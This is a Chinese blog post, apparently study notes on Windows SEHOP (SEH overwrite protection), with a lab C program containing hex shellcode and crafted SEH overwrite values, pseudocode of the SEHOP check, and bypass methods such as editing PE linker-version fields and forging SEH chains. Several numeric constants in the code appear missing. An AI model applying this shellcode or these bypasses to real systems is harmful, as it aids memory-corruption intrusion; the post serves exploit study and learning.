SEHOP,Structed Exception Handling Overwrite Protection,一种比 SafeSEH 更严厉的保护机制。Windows Vista SP1 开始支持 SEHOP,但 Vista 和 Win7 中默认不启用,可以对这两个版本的系统打补丁以支持 SEHOP,但一个更简单的方法是:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\kernel\DisableExceptionChainValidation = dword:

可以写一个带 _try{} _except() 的简单程序,用 OllyDbg 加载然后修改 next seh 链表来对比观察 win7 启用 SEHOP 后的保护效果。我写了一段不算方便的代码来实验,因为其中有个宏可以在以后借用,先存下来:

 // sehop.cpp : Defines the entry point for the console application.
//
// os: win7
// ide: vs2008 (turn off Optimization/ASLR/GS/DEP)
// link option: /SAFESEH:NO #include "stdafx.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h> #define D2B(x,c) ((byte)(((unsigned int)x)>>(32-c*8))) // Dword to Byte char shellcode[]=
"\x60\x89\xE0\x83\xE4\xFC\x50\x31\xD2\x52\x68\x63\x61\x6C\x63\x54"
"\x59\x52\x51\x64\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30"
"\x8B\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20\x01\xFE"
"\x8B\x54\x1F\x24\x0F\xB7\x2C\x17\x42\x42\xAD\x81\x3C\x07\x57\x69"
"\x6E\x45\x75\xF0\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\xAE\xFF\xD7\x58"
"\x58\x5C\x61\xC3" // 84b winexec cmd.exe shellcode
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x78\xFF\x12\x00" // next seh
"\x18\x30\x40\x00" // seh : shellcode
; void test()
{
char buf[];
memcpy(buf,shellcode,);
int x=;
__try{
x=/x;
} __except() {
printf("[fatal] divided by zero!\n");
__asm{
lea eax,shellcode
call eax // push next_eip, jmp eax
}
exit();
}
} int _tmain(int argc, _TCHAR* argv[])
{
test();
return ;
}

注意其中的 D2B() 宏,在代码中动态定位时可以借用(sprintf(address,"%c%c%c%c",D2B(seh,4),D2B(seh,3),D2B(seh,2),D2B(seh,1))),另外,弹出 calc.exe 的 shellcode 具有 function 特性,即执行过程中会保存现场,执行完了会返回,实验时应该用 lea eax, shellcode; call eax(call eax 会先 push next_eip 再 jmp)

栈帧中的 S.E.H 函数是以单链表的形式存放的:node(next_seh,eh) -> node(next_seh,eh) -> ... -> node(0xFFFFFFFF,system_final_eh)

SEHOP 的任务就是在转入异常处理之前检查 S.E.H 链表的最后一个节点是否为 system_final_eh,如果是则检测成功,否则失败:

 if (process_flag & 0x40 == )            // 如果没有 SEH 记录则不进行检测
{
if (record != 0xFFFFFFFF) // 开始检测
{
do {
if (record < stack_bottom || record > stack_top) // SEH 记录必须位于栈中
goto corruption;
if ((char*)record + sizeof(EXCEPTION_REGISTRATION) > stack_top) // SEH 结构完全在栈中
goto corruption;
if ((record & ) !=) // SEH 记录必须 4 字节对齐
goto corruption;
handler = record -> handler;
if (handler >= stack_bottom && handler < stack_top) // SEH 处理函数不能在栈中
goto corruption;
record = record -> next; // 继续遍历
} while (record != 0xFFFFFFFF);
if ((TEB -> word_at_offset_0xFCA & 0x200) != )
if (handler != &FinalExceptionHandler) // 核心检测:未节点是否为系统 EH
goto corruption;
}
}

作为对 SafeSEH 强有力的补充,SEHOP 检查发生在 SafeSEH 的 RtlIsValidHandler 函数校验前,这样一来,利用攻击加载模块之外的地址、堆地址和未启用 SafeSEH 模块的方法都行不通了。理论上,剩下的攻击思路只有三条:

  因为 SEHOP 只对 SEH 提供保护,故避开 SEH,攻击返回地址(或 GS 关闭)或虚函数等
利用未启用 SEHOP 的模块
伪造 SEH 链

利用未启用 SEHOP 的模块

微软在编译器中没有提供关闭 SEHOP 的选项,但出于兼容性考虑,对一些程序禁用了 SEHOP,例如经过 Armadilo 加壳的软件。

操作系统会根据 PE 头中的 MajorLinkerVersion MinorLinkerVersion 来判断是否为程序禁用 SEHOP。如果将这两个选项分别设置为 0x53 和 0x52 来模拟经过 Armadilo 加壳的程序,就可以禁用 SEHOP 了(可以用 CFF Explorer 打开程序,在 Optional Header 中进行设置)。

可以用这种方法并结合 利用未启用 SafeSEH 的模块绕过 SafeSEH 一节来绕过 SEHOP 和 SafeSEH。

伪造 S.E.H 链

实际环境中,要实现 S.E.H 的伪造是非常困难的事,因为前提条件很多:

. 首先要求系统 ASLR 不能启用,否则 FinalExceptionHandler 地址在重启后会变动,溢出质量大大降低。
. 伪造的 S.E.H 所处的位置必须在当前栈中,且能被 整除。
. 伪造的 S.E.H 中的 next_seh 必须指向正常的 seh 链,其未节点必须是 FinalExceptionHandler。
. 突破 SEHOP 后还需要突破 SafeSEH。

书中的示例用了 利用未启用 SafeSEH 的模块绕过 SafeSEH 一节中的 dll 模块,并且关闭了 DEP 和 ASLR。

Win7 不能通过 int 3 转入 OllyDbg 调试,只能直接用 OllyDbg 加载程序调试,为什么呢?

OD: SEHOP的更多相关文章

  1. Linux之od命令详解

    功能说明:输出文件内容.语 法:od [-abcdfhilovx][-A <字码基数>][-j <字符数目>][-N <字符数目>][-s <字符串字符数&g ...

  2. 基本shell编程【3】- 常用的工具awk\sed\sort\uniq\od

    awk awk是个很好用的东西,大量使用在linux系统分析的结果展示处理上.并且可以使用管道, input | awk ''  | output 1.首先要知道形式 awk 'command' fi ...

  3. od 查看特殊格式的文件内容

    用户通常使用od命令查看特殊格式的文件内容.通过指定该命令的不同选项可以以十进制.八进制.十六进制和ASCII码来显示文件. 语法: od [选项] 文件- 命令中各选项的含义: - A 指定地址基数 ...

  4. 游戏外挂四之利用CE和OD查找被选中怪物和怪物列表

    合肥程序员群:49313181.    合肥实名程序员群:128131462 (不愿透露姓名和信息者勿加入)Q  Q:408365330     E-Mail:egojit@qq.com 这一节我们利 ...

  5. OD调试17

    程序先出现一个nag 然后出现主窗口 然后出现第二个nag窗口        我们查个壳   没有壳 那就载入OD看看,继续用调用堆栈的方法 发现一直执行用的都是这一个call,最后执行到程序结束.之 ...

  6. OD调试16

    今天还是15的那个程序,但是呢,换一种方法去掉NAG窗口 用OD载入,暂停,查看调用的堆栈 先看最后一个    查看调用,下断点 往上看看,找到入口的地方,设下断.点,重载,运行,单步 通过单步发现 ...

  7. OD调试15

    可以达到不脱壳的妙用.含义:把补丁写入程序代码,就叫内嵌补丁 那我们先看看今天的程序 是一个写DVD目录的程序,点continue就可以进入使用了      发现一个还有29天 就过期了   ,点en ...

  8. Delphi_OD_代码_调试_Delphi反调试技术(以OD为例附核心原代码) (转)

    1.程序窗口[chuang kou]句柄[ju bing]检测原理:用FindWindow函数[han shu]查找[cha zhao]具有相同窗口[chuang kou]类名和标题的窗口[chuan ...

  9. OD使用教程11

    首先把安装好的软件拖入PEID,看看它是用什么语言写的    然后用OD载入程序,查找关键字,步骤看上一个笔记 双击到达代码处,发现这在一个跳转里面.可能第一反应是修改跳转,经试验后发现这是没用的所以 ...

随机推荐

  1. 纯js制作遮罩层对话框 -- g皓皓

    //本文支持js在线工具测试.转载请注明出处. <htmlxmlns="http://www.w3.org/1999/xhtml"> <head> < ...

  2. 初涉JavaScript模式 (7) : 原型模式 【三】

    组合使用构造函数模式和原型模式 上篇,我们提到了原型模式的缺点,就是每个实例不能拥有自己的属性,因为纯原型模式所有的属性都是公开给每个实例的,故我们可以组合使用构造函数模式和原型模式.构造函数用来定义 ...

  3. VSS迁移

    今天花了一上午的时间,对VSS源代码库从一个服务器A上迁移到另一个服务器B上,包括修改历史.用户.以及权限.具体方法如下: 1.在服务器B上安装vss程序后,创建一database,并设置创建后的文件 ...

  4. javascript获得浏览器工作区域的大小

    浏览器的窗口发生变化时会执行window.onresize方法,通过这个方法我们可以获得到浏览器工作区域的大小: window.onresize=function(){ bodyHeight = wi ...

  5. HTML5 QQ登录背景动态图片

    预览效果如图所示: 代码如下: <!DOCTYPE html> <head> <meta http-equiv="Content-Type" cont ...

  6. sublime text3 下搭建python IDE环境 --Anaconda插件篇

    近来在园区发现大家使用ST3(Sublime text 3)工具进行python学习.然后自己也跟风了一把. 1.ST3下载地址: http://www.sublimetext.com/3 2.安装S ...

  7. 黑马程序员—C语言的判断语句

    ------Java培训.Android培训.iOS培训..Net培训.期待与您交流! ------- 一.分支结构 结构化程序设计(英语:Structured programming),一种编程范型 ...

  8. IOS UITableView NSIndexPath属性讲解

    IOS UITableView NSIndexPath属性讲解   查看UITableView的帮助文档我们会注意到UITableView有两个Delegate分别为:dataSource和deleg ...

  9. tomcat jar包加载顺序

    加载顺序: 1. $java_home/lib 目录下的java核心api 2. $java_home/lib/ext 目录下的java扩展jar包 3. java -classpath/-Djava ...

  10. 【HDOJ】2440 Watch out the Animal

    刚开始学随机算法,凸包+模拟退火. /* 2440 */ #include <iostream> #include <cstdio> #include <cstring& ...